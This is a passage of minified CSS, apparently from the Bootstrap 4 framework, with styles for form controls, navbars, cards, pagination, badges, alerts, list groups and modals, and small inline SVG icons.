rgba(0,123,255,.25)}.custom-control-input:active~.custom-control-label::before{color:#fff;background-color:#b3d7ff}.custom-control-input:disabled~.custom-control-label{color:#6c757d}.custom-control-input:disabled~.custom-control-label::before{background-color:#e9ecef}.custom-control-label{margin-bottom:0}.custom-control-label::before{position:absolute;top:.25rem;left:0;display:block;width:1rem;height:1rem;pointer-events:none;content:"";-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;background-color:#dee2e6}.custom-control-label::after{position:absolute;top:.25rem;left:0;display:block;width:1rem;height:1rem;content:"";background-repeat:no-repeat;background-position:center center;background-size:50% 50%}.custom-checkbox .custom-control-label::before{border-radius:.25rem}.custom-checkbox .custom-control-input:checked~.custom-control-label::before{background-color:#007bff}.custom-checkbox .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 8 8'%3E%3Cpath fill='%23fff' d='M6.564.75l-3.59 3.612-1.538-1.55L0 4.26 2.974 7.25 8 2.193z'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::before{background-color:#007bff}.custom-checkbox .custom-control-input:indeterminate~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 4'%3E%3Cpath stroke='%23fff' d='M0 2h4'/%3E%3C/svg%3E")}.custom-checkbox .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-checkbox .custom-control-input:disabled:indeterminate~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-radio .custom-control-label::before{border-radius:50%}.custom-radio .custom-control-input:checked~.custom-control-label::before{background-color:#007bff}.custom-radio .custom-control-input:checked~.custom-control-label::after{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='-4 -4 8 8'%3E%3Ccircle r='3' fill='%23fff'/%3E%3C/svg%3E")}.custom-radio .custom-control-input:disabled:checked~.custom-control-label::before{background-color:rgba(0,123,255,.5)}.custom-select{display:inline-block;width:100%;height:calc(2.25rem + 2px);padding:.375rem 1.75rem .375rem .75rem;line-height:1.5;color:#495057;vertical-align:middle;background:#fff url("data:image/svg+xml;charset=utf8,%3Csvg xmlns='http://www.w3.org/2000/svg' viewBox='0 0 4 5'%3E%3Cpath fill='%23343a40' d='M2 0L0 2h4zm0 5L0 3h4z'/%3E%3C/svg%3E") no-repeat right .75rem center;background-size:8px 10px;border:1px solid #ced4da;border-radius:.25rem;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-select:focus{border-color:#80bdff;outline:0;box-shadow:inset 0 1px 2px rgba(0,0,0,.075),0 0 5px rgba(128,189,255,.5)}.custom-select:focus::-ms-value{color:#495057;background-color:#fff}.custom-select[multiple],.custom-select[size]:not([size="1"]){height:auto;padding-right:.75rem;background-image:none}.custom-select:disabled{color:#6c757d;background-color:#e9ecef}.custom-select::-ms-expand{opacity:0}.custom-select-sm{height:calc(1.8125rem + 2px);padding-top:.375rem;padding-bottom:.375rem;font-size:75%}.custom-select-lg{height:calc(2.875rem + 2px);padding-top:.375rem;padding-bottom:.375rem;font-size:125%}.custom-file{position:relative;display:inline-block;width:100%;height:calc(2.25rem + 2px);margin-bottom:0}.custom-file-input{position:relative;z-index:2;width:100%;height:calc(2.25rem + 2px);margin:0;opacity:0}.custom-file-input:focus~.custom-file-label{border-color:#80bdff;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.custom-file-input:focus~.custom-file-label::after{border-color:#80bdff}.custom-file-input:lang(en)~.custom-file-label::after{content:"Browse"}.custom-file-label{position:absolute;top:0;right:0;left:0;z-index:1;height:calc(2.25rem + 2px);padding:.375rem .75rem;line-height:1.5;color:#495057;background-color:#fff;border:1px solid #ced4da;border-radius:.25rem}.custom-file-label::after{position:absolute;top:0;right:0;bottom:0;z-index:3;display:block;height:calc(calc(2.25rem + 2px) - 1px * 2);padding:.375rem .75rem;line-height:1.5;color:#495057;content:"Browse";background-color:#e9ecef;border-left:1px solid #ced4da;border-radius:0 .25rem .25rem 0}.custom-range{width:100%;padding-left:0;background-color:transparent;-webkit-appearance:none;-moz-appearance:none;appearance:none}.custom-range:focus{outline:0}.custom-range::-moz-focus-outer{border:0}.custom-range::-webkit-slider-thumb{width:1rem;height:1rem;margin-top:-.25rem;background-color:#007bff;border:0;border-radius:1rem;-webkit-appearance:none;appearance:none}.custom-range::-webkit-slider-thumb:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-webkit-slider-thumb:active{background-color:#b3d7ff}.custom-range::-webkit-slider-runnable-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-moz-range-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;-moz-appearance:none;appearance:none}.custom-range::-moz-range-thumb:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-moz-range-thumb:active{background-color:#b3d7ff}.custom-range::-moz-range-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:#dee2e6;border-color:transparent;border-radius:1rem}.custom-range::-ms-thumb{width:1rem;height:1rem;background-color:#007bff;border:0;border-radius:1rem;appearance:none}.custom-range::-ms-thumb:focus{outline:0;box-shadow:0 0 0 1px #fff,0 0 0 .2rem rgba(0,123,255,.25)}.custom-range::-ms-thumb:active{background-color:#b3d7ff}.custom-range::-ms-track{width:100%;height:.5rem;color:transparent;cursor:pointer;background-color:transparent;border-color:transparent;border-width:.5rem}.custom-range::-ms-fill-lower{background-color:#dee2e6;border-radius:1rem}.custom-range::-ms-fill-upper{margin-right:15px;background-color:#dee2e6;border-radius:1rem}.nav{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding-left:0;margin-bottom:0;list-style:none}.nav-link{display:block;padding:.5rem 1rem}.nav-link:focus,.nav-link:hover{text-decoration:none}.nav-link.disabled{color:#6c757d}.nav-tabs{border-bottom:1px solid #dee2e6}.nav-tabs .nav-item{margin-bottom:-1px}.nav-tabs .nav-link{border:1px solid transparent;border-top-left-radius:.25rem;border-top-right-radius:.25rem}.nav-tabs .nav-link:focus,.nav-tabs .nav-link:hover{border-color:#e9ecef #e9ecef #dee2e6}.nav-tabs .nav-link.disabled{color:#6c757d;background-color:transparent;border-color:transparent}.nav-tabs .nav-item.show .nav-link,.nav-tabs .nav-link.active{color:#495057;background-color:#fff;border-color:#dee2e6 #dee2e6 #fff}.nav-tabs .dropdown-menu{margin-top:-1px;border-top-left-radius:0;border-top-right-radius:0}.nav-pills .nav-link{border-radius:.25rem}.nav-pills .nav-link.active,.nav-pills .show>.nav-link{color:#fff;background-color:#007bff}.nav-fill .nav-item{-ms-flex:1 1 auto;flex:1 1 auto;text-align:center}.nav-justified .nav-item{-ms-flex-preferred-size:0;flex-basis:0;-ms-flex-positive:1;flex-grow:1;text-align:center}.tab-content>.tab-pane{display:none}.tab-content>.active{display:block}.navbar{position:relative;display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between;padding:.5rem 1rem}.navbar>.container,.navbar>.container-fluid{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;-ms-flex-align:center;align-items:center;-ms-flex-pack:justify;justify-content:space-between}.navbar-brand{display:inline-block;padding-top:.3125rem;padding-bottom:.3125rem;margin-right:1rem;font-size:1.25rem;line-height:inherit;white-space:nowrap}.navbar-brand:focus,.navbar-brand:hover{text-decoration:none}.navbar-nav{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0;list-style:none}.navbar-nav .nav-link{padding-right:0;padding-left:0}.navbar-nav .dropdown-menu{position:static;float:none}.navbar-text{display:inline-block;padding-top:.5rem;padding-bottom:.5rem}.navbar-collapse{-ms-flex-preferred-size:100%;flex-basis:100%;-ms-flex-positive:1;flex-grow:1;-ms-flex-align:center;align-items:center}.navbar-toggler{padding:.25rem .75rem;font-size:1.25rem;line-height:1;background-color:transparent;border:1px solid transparent;border-radius:.25rem}.navbar-toggler:focus,.navbar-toggler:hover{text-decoration:none}.navbar-toggler:not(:disabled):not(.disabled){cursor:pointer}.navbar-toggler-icon{display:inline-block;width:1.5em;height:1.5em;vertical-align:middle;content:"";background:no-repeat center center;background-size:100% 100%}@media (max-width:575.98px){.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:576px){.navbar-expand-sm{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-sm .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-sm .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-sm .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-sm>.container,.navbar-expand-sm>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-sm .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-sm .navbar-toggler{display:none}}@media (max-width:767.98px){.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:768px){.navbar-expand-md{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-md .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-md .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-md .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-md>.container,.navbar-expand-md>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-md .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-md .navbar-toggler{display:none}}@media (max-width:991.98px){.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:992px){.navbar-expand-lg{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-lg .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-lg .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-lg .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-lg>.container,.navbar-expand-lg>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-lg .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-lg .navbar-toggler{display:none}}@media (max-width:1199.98px){.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{padding-right:0;padding-left:0}}@media (min-width:1200px){.navbar-expand-xl{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand-xl .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand-xl .navbar-nav .dropdown-menu{position:absolute}.navbar-expand-xl .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand-xl>.container,.navbar-expand-xl>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand-xl .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand-xl .navbar-toggler{display:none}}.navbar-expand{-ms-flex-flow:row nowrap;flex-flow:row nowrap;-ms-flex-pack:start;justify-content:flex-start}.navbar-expand>.container,.navbar-expand>.container-fluid{padding-right:0;padding-left:0}.navbar-expand .navbar-nav{-ms-flex-direction:row;flex-direction:row}.navbar-expand .navbar-nav .dropdown-menu{position:absolute}.navbar-expand .navbar-nav .nav-link{padding-right:.5rem;padding-left:.5rem}.navbar-expand>.container,.navbar-expand>.container-fluid{-ms-flex-wrap:nowrap;flex-wrap:nowrap}.navbar-expand .navbar-collapse{display:-ms-flexbox!important;display:flex!important;-ms-flex-preferred-size:auto;flex-basis:auto}.navbar-expand .navbar-toggler{display:none}.navbar-light .navbar-brand{color:rgba(0,0,0,.9)}.navbar-light .navbar-brand:focus,.navbar-light .navbar-brand:hover{color:rgba(0,0,0,.9)}.navbar-light .navbar-nav .nav-link{color:rgba(0,0,0,.5)}.navbar-light .navbar-nav .nav-link:focus,.navbar-light .navbar-nav .nav-link:hover{color:rgba(0,0,0,.7)}.navbar-light .navbar-nav .nav-link.disabled{color:rgba(0,0,0,.3)}.navbar-light .navbar-nav .active>.nav-link,.navbar-light .navbar-nav .nav-link.active,.navbar-light .navbar-nav .nav-link.show,.navbar-light .navbar-nav .show>.nav-link{color:rgba(0,0,0,.9)}.navbar-light .navbar-toggler{color:rgba(0,0,0,.5);border-color:rgba(0,0,0,.1)}.navbar-light .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(0, 0, 0, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-light .navbar-text{color:rgba(0,0,0,.5)}.navbar-light .navbar-text a{color:rgba(0,0,0,.9)}.navbar-light .navbar-text a:focus,.navbar-light .navbar-text a:hover{color:rgba(0,0,0,.9)}.navbar-dark .navbar-brand{color:#fff}.navbar-dark .navbar-brand:focus,.navbar-dark .navbar-brand:hover{color:#fff}.navbar-dark .navbar-nav .nav-link{color:rgba(255,255,255,.5)}.navbar-dark .navbar-nav .nav-link:focus,.navbar-dark .navbar-nav .nav-link:hover{color:rgba(255,255,255,.75)}.navbar-dark .navbar-nav .nav-link.disabled{color:rgba(255,255,255,.25)}.navbar-dark .navbar-nav .active>.nav-link,.navbar-dark .navbar-nav .nav-link.active,.navbar-dark .navbar-nav .nav-link.show,.navbar-dark .navbar-nav .show>.nav-link{color:#fff}.navbar-dark .navbar-toggler{color:rgba(255,255,255,.5);border-color:rgba(255,255,255,.1)}.navbar-dark .navbar-toggler-icon{background-image:url("data:image/svg+xml;charset=utf8,%3Csvg viewBox='0 0 30 30' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath stroke='rgba(255, 255, 255, 0.5)' stroke-width='2' stroke-linecap='round' stroke-miterlimit='10' d='M4 7h22M4 15h22M4 23h22'/%3E%3C/svg%3E")}.navbar-dark .navbar-text{color:rgba(255,255,255,.5)}.navbar-dark .navbar-text a{color:#fff}.navbar-dark .navbar-text a:focus,.navbar-dark .navbar-text a:hover{color:#fff}.card{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;min-width:0;word-wrap:break-word;background-color:#fff;background-clip:border-box;border:1px solid rgba(0,0,0,.125);border-radius:.25rem}.card>hr{margin-right:0;margin-left:0}.card>.list-group:first-child .list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card>.list-group:last-child .list-group-item:last-child{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-body{-ms-flex:1 1 auto;flex:1 1 auto;padding:1.25rem}.card-title{margin-bottom:.75rem}.card-subtitle{margin-top:-.375rem;margin-bottom:0}.card-text:last-child{margin-bottom:0}.card-link:hover{text-decoration:none}.card-link+.card-link{margin-left:1.25rem}.card-header{padding:.75rem 1.25rem;margin-bottom:0;background-color:rgba(0,0,0,.03);border-bottom:1px solid rgba(0,0,0,.125)}.card-header:first-child{border-radius:calc(.25rem - 1px) calc(.25rem - 1px) 0 0}.card-header+.list-group .list-group-item:first-child{border-top:0}.card-footer{padding:.75rem 1.25rem;background-color:rgba(0,0,0,.03);border-top:1px solid rgba(0,0,0,.125)}.card-footer:last-child{border-radius:0 0 calc(.25rem - 1px) calc(.25rem - 1px)}.card-header-tabs{margin-right:-.625rem;margin-bottom:-.75rem;margin-left:-.625rem;border-bottom:0}.card-header-pills{margin-right:-.625rem;margin-left:-.625rem}.card-img-overlay{position:absolute;top:0;right:0;bottom:0;left:0;padding:1.25rem}.card-img{width:100%;border-radius:calc(.25rem - 1px)}.card-img-top{width:100%;border-top-left-radius:calc(.25rem - 1px);border-top-right-radius:calc(.25rem - 1px)}.card-img-bottom{width:100%;border-bottom-right-radius:calc(.25rem - 1px);border-bottom-left-radius:calc(.25rem - 1px)}.card-deck{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-deck .card{margin-bottom:15px}@media (min-width:576px){.card-deck{-ms-flex-flow:row wrap;flex-flow:row wrap;margin-right:-15px;margin-left:-15px}.card-deck .card{display:-ms-flexbox;display:flex;-ms-flex:1 0 0%;flex:1 0 0%;-ms-flex-direction:column;flex-direction:column;margin-right:15px;margin-bottom:0;margin-left:15px}}.card-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column}.card-group>.card{margin-bottom:15px}@media (min-width:576px){.card-group{-ms-flex-flow:row wrap;flex-flow:row wrap}.card-group>.card{-ms-flex:1 0 0%;flex:1 0 0%;margin-bottom:0}.card-group>.card+.card{margin-left:0;border-left:0}.card-group>.card:first-child{border-top-right-radius:0;border-bottom-right-radius:0}.card-group>.card:first-child .card-header,.card-group>.card:first-child .card-img-top{border-top-right-radius:0}.card-group>.card:first-child .card-footer,.card-group>.card:first-child .card-img-bottom{border-bottom-right-radius:0}.card-group>.card:last-child{border-top-left-radius:0;border-bottom-left-radius:0}.card-group>.card:last-child .card-header,.card-group>.card:last-child .card-img-top{border-top-left-radius:0}.card-group>.card:last-child .card-footer,.card-group>.card:last-child .card-img-bottom{border-bottom-left-radius:0}.card-group>.card:only-child{border-radius:.25rem}.card-group>.card:only-child .card-header,.card-group>.card:only-child .card-img-top{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.card-group>.card:only-child .card-footer,.card-group>.card:only-child .card-img-bottom{border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.card-group>.card:not(:first-child):not(:last-child):not(:only-child){border-radius:0}.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-footer,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-header,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-bottom,.card-group>.card:not(:first-child):not(:last-child):not(:only-child) .card-img-top{border-radius:0}}.card-columns .card{margin-bottom:.75rem}@media (min-width:576px){.card-columns{-webkit-column-count:3;-moz-column-count:3;column-count:3;-webkit-column-gap:1.25rem;-moz-column-gap:1.25rem;column-gap:1.25rem;orphans:1;widows:1}.card-columns .card{display:inline-block;width:100%}}.accordion .card:not(:first-of-type):not(:last-of-type){border-bottom:0;border-radius:0}.accordion .card:not(:first-of-type) .card-header:first-child{border-radius:0}.accordion .card:first-of-type{border-bottom:0;border-bottom-right-radius:0;border-bottom-left-radius:0}.accordion .card:last-of-type{border-top-left-radius:0;border-top-right-radius:0}.breadcrumb{display:-ms-flexbox;display:flex;-ms-flex-wrap:wrap;flex-wrap:wrap;padding:.75rem 1rem;margin-bottom:1rem;list-style:none;background-color:#e9ecef;border-radius:.25rem}.breadcrumb-item+.breadcrumb-item{padding-left:.5rem}.breadcrumb-item+.breadcrumb-item::before{display:inline-block;padding-right:.5rem;color:#6c757d;content:"/"}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:underline}.breadcrumb-item+.breadcrumb-item:hover::before{text-decoration:none}.breadcrumb-item.active{color:#6c757d}.pagination{display:-ms-flexbox;display:flex;padding-left:0;list-style:none;border-radius:.25rem}.page-link{position:relative;display:block;padding:.5rem .75rem;margin-left:-1px;line-height:1.25;color:#007bff;background-color:#fff;border:1px solid #dee2e6}.page-link:hover{z-index:2;color:#0056b3;text-decoration:none;background-color:#e9ecef;border-color:#dee2e6}.page-link:focus{z-index:2;outline:0;box-shadow:0 0 0 .2rem rgba(0,123,255,.25)}.page-link:not(:disabled):not(.disabled){cursor:pointer}.page-item:first-child .page-link{margin-left:0;border-top-left-radius:.25rem;border-bottom-left-radius:.25rem}.page-item:last-child .page-link{border-top-right-radius:.25rem;border-bottom-right-radius:.25rem}.page-item.active .page-link{z-index:1;color:#fff;background-color:#007bff;border-color:#007bff}.page-item.disabled .page-link{color:#6c757d;pointer-events:none;cursor:auto;background-color:#fff;border-color:#dee2e6}.pagination-lg .page-link{padding:.75rem 1.5rem;font-size:1.25rem;line-height:1.5}.pagination-lg .page-item:first-child .page-link{border-top-left-radius:.3rem;border-bottom-left-radius:.3rem}.pagination-lg .page-item:last-child .page-link{border-top-right-radius:.3rem;border-bottom-right-radius:.3rem}.pagination-sm .page-link{padding:.25rem .5rem;font-size:.875rem;line-height:1.5}.pagination-sm .page-item:first-child .page-link{border-top-left-radius:.2rem;border-bottom-left-radius:.2rem}.pagination-sm .page-item:last-child .page-link{border-top-right-radius:.2rem;border-bottom-right-radius:.2rem}.badge{display:inline-block;padding:.25em .4em;font-size:75%;font-weight:700;line-height:1;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}.badge:empty{display:none}.btn .badge{position:relative;top:-1px}.badge-pill{padding-right:.6em;padding-left:.6em;border-radius:10rem}.badge-primary{color:#fff;background-color:#007bff}.badge-primary[href]:focus,.badge-primary[href]:hover{color:#fff;text-decoration:none;background-color:#0062cc}.badge-secondary{color:#fff;background-color:#6c757d}.badge-secondary[href]:focus,.badge-secondary[href]:hover{color:#fff;text-decoration:none;background-color:#545b62}.badge-success{color:#fff;background-color:#28a745}.badge-success[href]:focus,.badge-success[href]:hover{color:#fff;text-decoration:none;background-color:#1e7e34}.badge-info{color:#fff;background-color:#17a2b8}.badge-info[href]:focus,.badge-info[href]:hover{color:#fff;text-decoration:none;background-color:#117a8b}.badge-warning{color:#212529;background-color:#ffc107}.badge-warning[href]:focus,.badge-warning[href]:hover{color:#212529;text-decoration:none;background-color:#d39e00}.badge-danger{color:#fff;background-color:#dc3545}.badge-danger[href]:focus,.badge-danger[href]:hover{color:#fff;text-decoration:none;background-color:#bd2130}.badge-light{color:#212529;background-color:#f8f9fa}.badge-light[href]:focus,.badge-light[href]:hover{color:#212529;text-decoration:none;background-color:#dae0e5}.badge-dark{color:#fff;background-color:#343a40}.badge-dark[href]:focus,.badge-dark[href]:hover{color:#fff;text-decoration:none;background-color:#1d2124}.jumbotron{padding:2rem 1rem;margin-bottom:2rem;background-color:#e9ecef;border-radius:.3rem}@media (min-width:576px){.jumbotron{padding:4rem 2rem}}.jumbotron-fluid{padding-right:0;padding-left:0;border-radius:0}.alert{position:relative;padding:.75rem 1.25rem;margin-bottom:1rem;border:1px solid transparent;border-radius:.25rem}.alert-heading{color:inherit}.alert-link{font-weight:700}.alert-dismissible{padding-right:4rem}.alert-dismissible .close{position:absolute;top:0;right:0;padding:.75rem 1.25rem;color:inherit}.alert-primary{color:#004085;background-color:#cce5ff;border-color:#b8daff}.alert-primary hr{border-top-color:#9fcdff}.alert-primary .alert-link{color:#002752}.alert-secondary{color:#383d41;background-color:#e2e3e5;border-color:#d6d8db}.alert-secondary hr{border-top-color:#c8cbcf}.alert-secondary .alert-link{color:#202326}.alert-success{color:#155724;background-color:#d4edda;border-color:#c3e6cb}.alert-success hr{border-top-color:#b1dfbb}.alert-success .alert-link{color:#0b2e13}.alert-info{color:#0c5460;background-color:#d1ecf1;border-color:#bee5eb}.alert-info hr{border-top-color:#abdde5}.alert-info .alert-link{color:#062c33}.alert-warning{color:#856404;background-color:#fff3cd;border-color:#ffeeba}.alert-warning hr{border-top-color:#ffe8a1}.alert-warning .alert-link{color:#533f03}.alert-danger{color:#721c24;background-color:#f8d7da;border-color:#f5c6cb}.alert-danger hr{border-top-color:#f1b0b7}.alert-danger .alert-link{color:#491217}.alert-light{color:#818182;background-color:#fefefe;border-color:#fdfdfe}.alert-light hr{border-top-color:#ececf6}.alert-light .alert-link{color:#686868}.alert-dark{color:#1b1e21;background-color:#d6d8d9;border-color:#c6c8ca}.alert-dark hr{border-top-color:#b9bbbe}.alert-dark .alert-link{color:#040505}@-webkit-keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}@keyframes progress-bar-stripes{from{background-position:1rem 0}to{background-position:0 0}}.progress{display:-ms-flexbox;display:flex;height:1rem;overflow:hidden;font-size:.75rem;background-color:#e9ecef;border-radius:.25rem}.progress-bar{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;-ms-flex-pack:center;justify-content:center;color:#fff;text-align:center;white-space:nowrap;background-color:#007bff;transition:width .6s ease}@media screen and (prefers-reduced-motion:reduce){.progress-bar{transition:none}}.progress-bar-striped{background-image:linear-gradient(45deg,rgba(255,255,255,.15) 25%,transparent 25%,transparent 50%,rgba(255,255,255,.15) 50%,rgba(255,255,255,.15) 75%,transparent 75%,transparent);background-size:1rem 1rem}.progress-bar-animated{-webkit-animation:progress-bar-stripes 1s linear infinite;animation:progress-bar-stripes 1s linear infinite}.media{display:-ms-flexbox;display:flex;-ms-flex-align:start;align-items:flex-start}.media-body{-ms-flex:1;flex:1}.list-group{display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;padding-left:0;margin-bottom:0}.list-group-item-action{width:100%;color:#495057;text-align:inherit}.list-group-item-action:focus,.list-group-item-action:hover{color:#495057;text-decoration:none;background-color:#f8f9fa}.list-group-item-action:active{color:#212529;background-color:#e9ecef}.list-group-item{position:relative;display:block;padding:.75rem 1.25rem;margin-bottom:-1px;background-color:#fff;border:1px solid rgba(0,0,0,.125)}.list-group-item:first-child{border-top-left-radius:.25rem;border-top-right-radius:.25rem}.list-group-item:last-child{margin-bottom:0;border-bottom-right-radius:.25rem;border-bottom-left-radius:.25rem}.list-group-item:focus,.list-group-item:hover{z-index:1;text-decoration:none}.list-group-item.disabled,.list-group-item:disabled{color:#6c757d;background-color:#fff}.list-group-item.active{z-index:2;color:#fff;background-color:#007bff;border-color:#007bff}.list-group-flush .list-group-item{border-right:0;border-left:0;border-radius:0}.list-group-flush:first-child .list-group-item:first-child{border-top:0}.list-group-flush:last-child .list-group-item:last-child{border-bottom:0}.list-group-item-primary{color:#004085;background-color:#b8daff}.list-group-item-primary.list-group-item-action:focus,.list-group-item-primary.list-group-item-action:hover{color:#004085;background-color:#9fcdff}.list-group-item-primary.list-group-item-action.active{color:#fff;background-color:#004085;border-color:#004085}.list-group-item-secondary{color:#383d41;background-color:#d6d8db}.list-group-item-secondary.list-group-item-action:focus,.list-group-item-secondary.list-group-item-action:hover{color:#383d41;background-color:#c8cbcf}.list-group-item-secondary.list-group-item-action.active{color:#fff;background-color:#383d41;border-color:#383d41}.list-group-item-success{color:#155724;background-color:#c3e6cb}.list-group-item-success.list-group-item-action:focus,.list-group-item-success.list-group-item-action:hover{color:#155724;background-color:#b1dfbb}.list-group-item-success.list-group-item-action.active{color:#fff;background-color:#155724;border-color:#155724}.list-group-item-info{color:#0c5460;background-color:#bee5eb}.list-group-item-info.list-group-item-action:focus,.list-group-item-info.list-group-item-action:hover{color:#0c5460;background-color:#abdde5}.list-group-item-info.list-group-item-action.active{color:#fff;background-color:#0c5460;border-color:#0c5460}.list-group-item-warning{color:#856404;background-color:#ffeeba}.list-group-item-warning.list-group-item-action:focus,.list-group-item-warning.list-group-item-action:hover{color:#856404;background-color:#ffe8a1}.list-group-item-warning.list-group-item-action.active{color:#fff;background-color:#856404;border-color:#856404}.list-group-item-danger{color:#721c24;background-color:#f5c6cb}.list-group-item-danger.list-group-item-action:focus,.list-group-item-danger.list-group-item-action:hover{color:#721c24;background-color:#f1b0b7}.list-group-item-danger.list-group-item-action.active{color:#fff;background-color:#721c24;border-color:#721c24}.list-group-item-light{color:#818182;background-color:#fdfdfe}.list-group-item-light.list-group-item-action:focus,.list-group-item-light.list-group-item-action:hover{color:#818182;background-color:#ececf6}.list-group-item-light.list-group-item-action.active{color:#fff;background-color:#818182;border-color:#818182}.list-group-item-dark{color:#1b1e21;background-color:#c6c8ca}.list-group-item-dark.list-group-item-action:focus,.list-group-item-dark.list-group-item-action:hover{color:#1b1e21;background-color:#b9bbbe}.list-group-item-dark.list-group-item-action.active{color:#fff;background-color:#1b1e21;border-color:#1b1e21}.close{float:right;font-size:1.5rem;font-weight:700;line-height:1;color:#000;text-shadow:0 1px 0 #fff;opacity:.5}.close:focus,.close:hover{color:#000;text-decoration:none;opacity:.75}.close:not(:disabled):not(.disabled){cursor:pointer}button.close{padding:0;background-color:transparent;border:0;-webkit-appearance:none}.modal-open{overflow:hidden}.modal{position:fixed;top:0;right:0;bottom:0;left:0;z-index:1050;display:none;overflow:hidden;outline:0}.modal-open .modal{overflow-x:hidden;overflow-y:auto}.modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade .modal-dialog{transition:-webkit-transform .3s ease-out;transition:transform .3s ease-out;transition:transform .3s ease-out,-webkit-transform .3s ease-out;-webkit-transform:translate(0,-25%);transform:translate(0,-25%)}@media screen and (prefers-reduced-motion:reduce){.modal.fade .modal-dialog{transition:none}}.modal.show .modal-dialog{-webkit-transform:translate(0,0);transform:translate(0,0)}.modal-dialog-centered{display:-ms-flexbox;display:flex;-ms-flex-align:center;align-items:center;min-height:calc(100% - (.5rem * 2))}.modal-content{position:relative;display:-ms-flexbox;display:flex;-ms-flex-direction:column;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid 